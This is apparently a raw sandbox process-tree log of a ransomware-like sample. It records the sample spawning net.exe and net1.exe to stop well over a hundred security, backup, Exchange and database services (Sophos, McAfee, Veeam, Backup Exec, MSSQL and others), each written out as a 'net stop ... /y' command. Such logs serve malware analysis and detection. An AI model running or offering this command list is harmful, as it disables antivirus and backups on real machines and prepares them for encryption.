PID 964 wrote to memory of 1904	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 1904	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 1904	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 964 wrote to memory of 1904	964	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1904 wrote to memory of 1808	1904	net.exe	net1.exe
PID 1904 wrote to memory of 1808	1904	net.exe	net1.exe
PID 1904 wrote to memory of 1808	1904	net.exe	net1.exe
PID 1904 wrote to memory of 1808	1904	net.exe	net1.exe

C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
"C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe"
1⤵
- Modifies extensions of user files
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:964

C:\Windows\SysWOW64\net.exe
net stop Acronis VSS Provider /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Acronis VSS Provider /y
3⤵
PID:820

C:\Windows\SysWOW64\net.exe
net stop Enterprise Client Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:740

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Enterprise Client Service /y
3⤵
PID:268

C:\Windows\SysWOW64\net.exe
net stop Sophos Agent /y
2⤵
- Suspicious use of WriteProcessMemory
PID:540

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Agent /y
3⤵
PID:852

C:\Windows\SysWOW64\net.exe
net stop Sophos AutoUpdate Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:752

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos AutoUpdate Service /y
3⤵
PID:1464

C:\Windows\SysWOW64\net.exe
net stop Sophos Clean Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1124

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Clean Service /y
3⤵
PID:1896

C:\Windows\SysWOW64\net.exe
net stop Sophos Device Control Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:296

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Device Control Service /y
3⤵
PID:1080

C:\Windows\SysWOW64\net.exe
net stop Sophos File Scanner Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1064

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos File Scanner Service /y
3⤵
PID:1456

C:\Windows\SysWOW64\net.exe
net stop Sophos Health Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Health Service /y
3⤵
PID:1808

C:\Windows\SysWOW64\net.exe
net stop Sophos MCS Agent /y
2⤵
PID:1372

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos MCS Agent /y
3⤵
PID:992

C:\Windows\SysWOW64\net.exe
net stop Sophos MCS Client /y
2⤵
PID:1608

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos MCS Client /y
3⤵
PID:2032

C:\Windows\SysWOW64\net.exe
net stop Sophos Message Router /y
2⤵
PID:1772

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Message Router /y
3⤵
PID:1880

C:\Windows\SysWOW64\net.exe
net stop Sophos SafeStore Service /y
2⤵
PID:1964

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos SafeStore Service /y
3⤵
PID:1700

C:\Windows\SysWOW64\net.exe
net stop Sophos Protection System Service /y
2⤵
PID:2012

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Protection System Service /y
3⤵
PID:2040

C:\Windows\SysWOW64\net.exe
net stop Sophos Web Control Service /y
2⤵
PID:1748

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Web Control Service /y
3⤵
PID:1428

C:\Windows\SysWOW64\net.exe
net stop SQLsafe /y
2⤵
PID:1040

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLsafe /y
3⤵
PID:1244

C:\Windows\SysWOW64\net.exe
net stop SQLsafe Filter Service /y
2⤵
PID:1592

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLsafe Filter Service /y
3⤵
PID:1312

C:\Windows\SysWOW64\net.exe
net stop Symantec System Recovery /y
2⤵
PID:1752

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Symantec System Recovery /y
3⤵
PID:756

C:\Windows\SysWOW64\net.exe
net stop Veeam Backup Service Data Catalog /y
2⤵
PID:652

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Veeam Backup Service Data Catalog /y
3⤵
PID:852

C:\Windows\SysWOW64\net.exe
net stop AcronisAgent /y
2⤵
PID:1248

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
3⤵
PID:616

C:\Windows\SysWOW64\net.exe
net stop AcrSch2Svc /y
2⤵
PID:1920

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
3⤵
PID:1092

C:\Windows\SysWOW64\net.exe
net stop Antivirus /y
2⤵
PID:1084

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Antivirus /y
3⤵
PID:1532

C:\Windows\SysWOW64\net.exe
net stop ARSM /y
2⤵
PID:1216

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ARSM /y
3⤵
PID:1808

C:\Windows\SysWOW64\net.exe
net stop BackupExecAgentAccelerator /y
2⤵
PID:824

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
3⤵
PID:1940

C:\Windows\SysWOW64\net.exe
net stop BackupExecAgentBrowser /y
2⤵
PID:1688

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
3⤵
PID:1720

C:\Windows\SysWOW64\net.exe
net stop BackupExecDeviceMediaService /y
2⤵
PID:1880

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecDeviceMediaService /y
3⤵
PID:684

C:\Windows\SysWOW64\net.exe
net stop BackupExecJobEngine /y
2⤵
PID:700

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
3⤵
PID:1956

C:\Windows\SysWOW64\net.exe
net stop BackupExecManagementService /y
2⤵
PID:916

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
3⤵
PID:1240

C:\Windows\SysWOW64\net.exe
net stop BackupExecRPCService /y
2⤵
PID:1436

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
3⤵
PID:956

C:\Windows\SysWOW64\net.exe
net stop BackupExecVSSProvider /y
2⤵
PID:1312

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
3⤵
PID:472

C:\Windows\SysWOW64\net.exe
net stop bedbg /y
2⤵
PID:1524

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop bedbg /y
3⤵
PID:1256

C:\Windows\SysWOW64\net.exe
net stop DCAgent /y
2⤵
PID:1464

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DCAgent /y
3⤵
PID:1896

C:\Windows\SysWOW64\net.exe
net stop EPSecurityService /y
2⤵
PID:1648

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPSecurityService /y
3⤵
PID:1456

C:\Windows\SysWOW64\net.exe
net stop EPUpdateService /y
2⤵
PID:1728

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPUpdateService /y
3⤵
PID:1808

C:\Windows\SysWOW64\net.exe
net stop EraserSvc11710 /y
2⤵
PID:1192

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EraserSvc11710 /y
3⤵
PID:1940

C:\Windows\SysWOW64\net.exe
net stop EsgShKernel /y
2⤵
PID:1236

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EsgShKernel /y
3⤵
PID:1720

C:\Windows\SysWOW64\net.exe
net stop FA_Scheduler /y
2⤵
PID:1876

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop FA_Scheduler /y
3⤵
PID:684

C:\Windows\SysWOW64\net.exe
net stop IISAdmin /y
2⤵
PID:880

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IISAdmin /y
3⤵
PID:1956

C:\Windows\SysWOW64\net.exe
net stop IMAP4Svc /y
2⤵
PID:1740

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IMAP4Svc /y
3⤵
PID:1240

C:\Windows\SysWOW64\net.exe
net stop macmnsvc /y
2⤵
PID:1428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop macmnsvc /y
3⤵
PID:1624

C:\Windows\SysWOW64\net.exe
net stop masvc /y
2⤵
PID:1680

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop masvc /y
3⤵
PID:268

C:\Windows\SysWOW64\net.exe
net stop MBAMService /y
2⤵
PID:360

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MBAMService /y
3⤵
PID:852

C:\Windows\SysWOW64\net.exe
net stop MBEndpointAgent /y
2⤵
PID:548

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MBEndpointAgent /y
3⤵
PID:572

C:\Windows\SysWOW64\net.exe
net stop McAfeeEngineService /y
2⤵
PID:392

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeEngineService /y
3⤵
PID:1184

C:\Windows\SysWOW64\net.exe
net stop McAfeeFramework /y
2⤵
PID:1660

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeFramework /y
3⤵
PID:1708

C:\Windows\SysWOW64\net.exe
net stop McAfeeFrameworkMcAfeeFramework /y
2⤵
PID:1340

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y
3⤵
PID:1692

C:\Windows\SysWOW64\net.exe
net stop McShield /y
2⤵
PID:1012

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McShield /y
3⤵
PID:1700

C:\Windows\SysWOW64\net.exe
net stop McTaskManager /y
2⤵
PID:1668

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McTaskManager /y
3⤵
PID:1588

C:\Windows\SysWOW64\net.exe
net stop mfemms /y
2⤵
PID:1240

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfemms /y
3⤵
PID:1624

C:\Windows\SysWOW64\net.exe
net stop mfevtp /y
2⤵
PID:1596

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfevtp /y
3⤵
PID:524

C:\Windows\SysWOW64\net.exe
net stop MMS /y
2⤵
PID:1228

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MMS /y
3⤵
PID:616

C:\Windows\SysWOW64\net.exe
net stop mozyprobackup /y
2⤵
PID:1896

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mozyprobackup /y
3⤵
PID:1456

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer /y
2⤵
PID:1808

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer /y
3⤵
PID:992

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer100 /y
2⤵
PID:1692

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer100 /y
3⤵
PID:1700

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer110 /y
2⤵
PID:1868

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer110 /y
3⤵
PID:1956

C:\Windows\SysWOW64\net.exe
net stop MSExchangeES /y
2⤵
PID:956

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeES /y
3⤵
PID:668

C:\Windows\SysWOW64\net.exe
net stop MSExchangeIS /y
2⤵
PID:472

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeIS /y
3⤵
PID:808

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMGMT /y
2⤵
PID:1916

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMGMT /y
3⤵
PID:1380

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMTA /y
2⤵
PID:992

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMTA /y
3⤵
PID:1700

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSA /y
2⤵
PID:972

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSA /y
3⤵
PID:552

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSRS /y
2⤵
PID:524

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSRS /y
3⤵
PID:1256

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ SQL_2008 /y
2⤵
PID:616

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ SQL_2008 /y
3⤵
PID:1484

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ SYSTEM_BGC /y
2⤵
PID:2000

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ SYSTEM_BGC /y
3⤵
PID:1956

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ TPS /y
2⤵
PID:552

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ TPS /y
3⤵
PID:1256

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ TPSAMA /y
2⤵
PID:268

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ TPSAMA /y
3⤵
PID:1184

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ BKUPEXEC /y
2⤵
PID:888

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ BKUPEXEC /y
3⤵
PID:572

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ ECWDB2 /y
2⤵
PID:808

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ ECWDB2 /y
3⤵
PID:1380

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PRACTICEMGT /y
2⤵
PID:1700

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PRACTICEMGT /y
3⤵
PID:684

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PRACTTICEBGC /y
2⤵
PID:1380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PRACTTICEBGC /y
3⤵
PID:684

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PROFXENGAGEMENT /y
2⤵
PID:572

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PROFXENGAGEMENT /y
3⤵
PID:1484

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SBSMONITORING /y
2⤵
PID:684

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SBSMONITORING /y
3⤵
PID:2056

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SHAREPOINT /y
2⤵
PID:2064

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SHAREPOINT /y
3⤵
PID:2084

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SQL_2008 /y
2⤵
PID:2092

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SQL_2008 /y
3⤵
PID:2112

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SYSTEM_BGC /y
2⤵
PID:2120

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SYSTEM_BGC /y
3⤵
PID:2140

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ TPS /y
2⤵
PID:2148

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ TPS /y
3⤵
PID:2168

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ TPSAMA /y
2⤵
PID:2176

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ TPSAMA /y
3⤵
PID:2196

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2008R2 /y
2⤵
PID:2204

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y
3⤵
PID:2224

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2012 /y
2⤵
PID:2232

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2012 /y
3⤵
PID:2252

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher /y
2⤵
PID:2260

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher /y
3⤵
PID:2280

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ PROFXENGAGEMENT /y
2⤵
PID:2288

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ PROFXENGAGEMENT /y
3⤵
PID:2308

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SBSMONITORING /y
2⤵
PID:2316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SBSMONITORING /y
3⤵
PID:2336

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SHAREPOINT /y
2⤵
PID:2344

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SHAREPOINT /y
3⤵
PID:2364

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SQL_2008 /y
2⤵
PID:2372

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SQL_2008 /y
3⤵
PID:2392

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SYSTEM_BGC /y
2⤵
PID:2400

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SYSTEM_BGC /y
3⤵
PID:2420

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ TPS /y
2⤵
PID:2428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ TPS /y
3⤵
PID:2448

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ TPSAMA /y
2⤵
PID:2456

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ TPSAMA /y
3⤵
PID:2476

C:\Windows\SysWOW64\net.exe
net stop MSSQLSERVER /y
2⤵
PID:2484

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLSERVER /y
3⤵
PID:2504

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerADHelper100 /y
2⤵
PID:2512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
3⤵
PID:2532

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerOLAPService /y
2⤵
PID:2540

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerOLAPService /y
3⤵
PID:2560

C:\Windows\SysWOW64\net.exe
net stop MySQL80 /y
2⤵
PID:2568

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL80 /y
3⤵
PID:2588

C:\Windows\SysWOW64\net.exe
net stop MySQL57 /y
2⤵
PID:2596

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL57 /y
3⤵
PID:2616

C:\Windows\SysWOW64\net.exe
net stop ntrtscan /y
2⤵
PID:2624

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ntrtscan /y
3⤵
PID:2644

C:\Windows\SysWOW64\net.exe
net stop OracleClientCache80 /y
2⤵
PID:2652

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop OracleClientCache80 /y
3⤵
PID:2672

C:\Windows\SysWOW64\net.exe
net stop PDVFSService /y
2⤵
PID:2680

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
3⤵
PID:2700

C:\Windows\SysWOW64\net.exe
net stop POP3SVC /y
2⤵
PID:2708

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop POP3SVC /y
3⤵
PID:2728

C:\Windows\SysWOW64\net.exe
net stop ReportServer /y
2⤵
PID:2736

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer /y
3⤵
PID:2756

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ SQL_2008 /y
2⤵
PID:2764

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ SQL_2008 /y
3⤵
PID:2784

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ SYSTEM_BGC /y
2⤵
PID:2792

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ SYSTEM_BGC /y
3⤵
PID:2812

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ TPS /y
2⤵
PID:2820

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ TPS /y
3⤵
PID:2840

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ TPSAMA /y
2⤵
PID:2848

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ TPSAMA /y
3⤵
PID:2868

C:\Windows\SysWOW64\net.exe
net stop RESVC /y
2⤵
PID:2876

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RESVC /y
3⤵
PID:2896

C:\Windows\SysWOW64\net.exe
net stop sacsvr /y
2⤵
PID:2904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sacsvr /y
3⤵
PID:2924

C:\Windows\SysWOW64\net.exe
net stop SamSs /y
2⤵
PID:2932

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SamSs /y
3⤵
PID:2952

C:\Windows\SysWOW64\net.exe
net stop SAVAdminService /y
2⤵
PID:2960

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SAVAdminService /y
3⤵
PID:2980

C:\Windows\SysWOW64\net.exe
net stop CABService /y
2⤵
PID:2988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CABService /y
3⤵
PID:3008

C:\Windows\SysWOW64\net.exe
net stop SDRSVC /y
2⤵
PID:3016

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SDRSVC /y
3⤵
PID:3036

C:\Windows\SysWOW64\net.exe
net stop SepMasterService /y
2⤵
PID:3044

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SepMasterService /y
3⤵
PID:3064

C:\Windows\SysWOW64\net.exe
net stop ShMonitor /y
2⤵
PID:1708

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ShMonitor /y
3⤵
PID:2076

C:\Windows\SysWOW64\net.exe
net stop Smcinst /y
2⤵
PID:2084

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Smcinst /y
3⤵
PID:2112

C:\Windows\SysWOW64\net.exe
net stop SmcService /y
2⤵
PID:2100

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SmcService /y
3⤵
PID:2128

C:\Windows\SysWOW64\net.exe
net stop SMTPSVC /y
2⤵
PID:2172

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SMTPSVC /y
3⤵
PID:2200

C:\Windows\SysWOW64\net.exe
net stop SNAC /y
2⤵
PID:2192

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SNAC /y
3⤵
PID:2220

C:\Windows\SysWOW64\net.exe
net stop SntpService /y
2⤵
PID:2244

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SntpService /y
3⤵
PID:2272

C:\Windows\SysWOW64\net.exe
net stop sophossps /y
2⤵
PID:2280

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sophossps /y
3⤵
PID:2308

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ BKUPEXEC /y
2⤵
PID:2296

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ BKUPEXEC /y
3⤵
PID:2324

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ ECWDB2 /y
2⤵
PID:2368

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ ECWDB2 /y
3⤵
PID:2396

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PRACTTICEBGC /y
2⤵
PID:2388

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PRACTTICEBGC /y
3⤵
PID:2416

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PRACTTICEMGT /y
2⤵
PID:2440

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PRACTTICEMGT /y
3⤵
PID:2468

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PROFXENGAGEMENT /y
2⤵
PID:2476

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PROFXENGAGEMENT /y
3⤵
PID:2504

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SBSMONITORING /y
2⤵
PID:2492

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SBSMONITORING /y
3⤵
PID:2520

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SHAREPOINT /y
2⤵
PID:2564

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SHAREPOINT /y
3⤵
PID:2592

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SQL_2008 /y
2⤵
PID:2584

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SQL_2008 /y
3⤵
PID:2612

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SYSTEM_BGC /y
2⤵
PID:2636

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SYSTEM_BGC /y
3⤵
PID:2664

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ TPS /y
2⤵
PID:2672

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ TPS /y
3⤵
PID:2700

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ TPSAMA /y
2⤵
PID:2688

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ TPSAMA /y
3⤵
PID:2716

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2008R2 /y
2⤵
PID:2760

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y
3⤵
PID:2788

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2012 /y
2⤵
PID:2780

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2012 /y
3⤵
PID:2808

C:\Windows\SysWOW64\net.exe
net stop SQLBrowser /y
2⤵
PID:2832

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLBrowser /y
3⤵
PID:2860

C:\Windows\SysWOW64\net.exe
net stop SQLSafeOLRService /y
2⤵
PID:2868

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLSafeOLRService /y
3⤵
PID:2896

C:\Windows\SysWOW64\net.exe
net stop SQLSERVERAGENT /y
2⤵
PID:2884

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLSERVERAGENT /y
3⤵
PID:2912

C:\Windows\SysWOW64\net.exe
net stop SQLTELEMETRY /y
2⤵
PID:2956

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLTELEMETRY /y
3⤵
PID:2984

C:\Windows\SysWOW64\net.exe
net stop SQLTELEMETRY $ ECWDB2 /y
2⤵
PID:2976

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLTELEMETRY $ ECWDB2 /y
3⤵
PID:3004

C:\Windows\SysWOW64\net.exe
net stop SQLWriter /y
2⤵
PID:3028

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLWriter /y
3⤵
PID:3056

C:\Windows\SysWOW64\net.exe
net stop SstpSvc /y
2⤵
PID:3064

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SstpSvc /y
3⤵
PID:2076

C:\Windows\SysWOW64\net.exe
net stop svcGenericHost /y
2⤵
PID:2056

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop svcGenericHost /y
3⤵
PID:2072

C:\Windows\SysWOW64\net.exe
net stop swi_filter /y
2⤵
PID:2160

C:\Windows\SysWOW64\net1.exe
